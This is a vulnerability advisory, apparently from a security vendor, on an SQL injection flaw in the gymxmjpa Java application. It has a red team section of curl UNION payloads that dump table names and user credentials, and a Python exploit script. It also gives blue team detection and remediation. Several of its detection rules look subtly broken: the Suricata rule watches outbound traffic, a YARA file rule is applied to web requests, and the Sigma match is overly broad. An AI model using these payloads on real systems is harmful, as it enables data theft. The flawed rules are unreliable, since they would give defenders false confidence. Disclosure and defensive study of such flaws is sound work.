CVE-2025-0406

Executive Summary

CVE-2025-0406 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application version 1.0. The flaw resides in the SubjectDaoImpl function within SubjectController.java, where the subname parameter is directly concatenated into SQL queries without proper sanitization or parameterization. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not associated with any public package registry (NPM, PyPI, Go, Ruby). It is a standalone Java application. However, organizations using this software should treat it as a high-risk component in their software supply chain and consider immediate isolation or removal until a patch is available.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the public exploit and the nature of the vulnerability, the following assessment is made:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality Impact (C): High (H) – Full database read access.
• Integrity Impact (I): High (H) – Data can be modified or deleted.
• Availability Impact (A): High (H) – Database can be disrupted.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in a Java Spring Boot application. The SubjectController.java file defines a REST endpoint that accepts a subname parameter. This parameter is passed to SubjectDaoImpl, which constructs a SQL query using string concatenation:

// Vulnerable code snippet (conceptual)
String sql = "SELECT * FROM subjects WHERE subname = '" + subname + "'";

An attacker can inject SQL by providing a malicious subname value, such as:

' OR '1'='1

This would result in the query:

SELECT * FROM subjects WHERE subname = '' OR '1'='1'

Which returns all rows in the table. More sophisticated payloads can be used for UNION-based data extraction, error-based inference, or time-based blind injection.

The application uses JPA (Java Persistence API), but the SubjectDaoImpl bypasses JPA's built-in parameterization, directly executing raw SQL. This is a common anti-pattern.

Vulnerable vs. Patched Code

Vulnerable Code (SubjectDaoImpl.java):

public List<Subject> findBySubname(String subname) {
    String sql = "SELECT * FROM subjects WHERE subname = '" + subname + "'";
    return entityManager.createNativeQuery(sql, Subject.class).getResultList();
}

Patched Code (Hypothetical):

public List<Subject> findBySubname(String subname) {
    String sql = "SELECT * FROM subjects WHERE subname = :subname";
    Query query = entityManager.createNativeQuery(sql, Subject.class);
    query.setParameter("subname", subname);
    return query.getResultList();
}

The patched version uses a named parameter (:subname) and setParameter(), which ensures the input is properly escaped and prevents SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running liujianview gymxmjpa version 1.0.
• Network access to the vulnerable endpoint (e.g., /subject/search).

Exploit Steps:

1. Identify the vulnerable endpoint: Use a web crawler or manual inspection to find endpoints that accept a subname parameter.

2. Test for SQL injection: Send a request with a single quote to trigger an error:

curl "http://target.com/subject/search?subname=test'"

If the application returns a SQL error, it is vulnerable.

3. Extract database version (MySQL example):

curl "http://target.com/subject/search?subname=' UNION SELECT 1,@@version,3,4-- "

4. Dump table names:

curl "http://target.com/subject/search?subname=' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- "

5. Dump user credentials (if applicable):

curl "http://target.com/subject/search?subname=' UNION SELECT 1,username,password,4 FROM users-- "

Automated Exploit (Python):

import requests

target = "http://target.com/subject/search"
payload = "' UNION SELECT 1,@@version,3,4-- "
params = {"subname": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection:

• Monitor for SQL error messages in application logs (e.g., com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException).
• Look for HTTP requests containing SQL keywords (UNION, SELECT, OR, --, ') in the subname parameter.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediately isolate the application if no patch is available.
• Implement input validation: allow only alphanumeric characters for subname.
• Use a WAF with SQL injection rules (e.g., ModSecurity CRS).
• Apply a virtual patch by rewriting the vulnerable code to use parameterized queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /subject/search with subname containing SQL keywords.
  • Outbound database connections from the application server to unexpected IPs.
  • Large response sizes indicating data exfiltration.

• File IOCs:

  • Modified SubjectDaoImpl.java or SubjectController.java files (if attacker deploys a backdoor).
  • Suspicious log entries in application.log containing SQL errors.

• System IOCs:

  • Unexpected database users or privileges.
  • New files in the application directory (e.g., webshells).

Detection Engineering

YARA Rule

rule CVE_2025_0406_SQLi_SubjectDaoImpl {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0406 in gymxmjpa"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0406"
    strings:
        $sqli1 = "subname=" nocase
        $sqli2 = "' OR '" nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "information_schema" nocase
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-0406 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the subname parameter in gymxmjpa
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'subname='
            - "'"
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in subname (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-0406 SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/subject/search"; http_uri;
    content:"subname="; http_uri;
    pcre:"/(\%27|')|(\%55|U)(\%4E|N)(\%49|I)(\%4F|O)(\%4E|N)|(\%53|S)(\%45|E)(\%4C|L)(\%45|E)(\%43|C)(\%54|T)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the application offline or restrict network access to trusted IPs only.
2. Apply a virtual patch: Use a WAF to block SQL injection patterns in the subname parameter.
3. Implement input validation: Modify the application to accept only alphanumeric characters for subname.

Long-term Fix:

1. Rewrite the vulnerable code: Replace string concatenation with parameterized queries (JPA named parameters or PreparedStatement).
2. Conduct a security audit: Review all DAO implementations for similar injection flaws.
3. Update dependencies: Ensure all libraries (e.g., Hibernate, Spring) are up to date.

Workaround:

• If source code is not available, use a reverse proxy to sanitize the subname parameter before it reaches the application.

Valters IT
Securing Digital Frontiers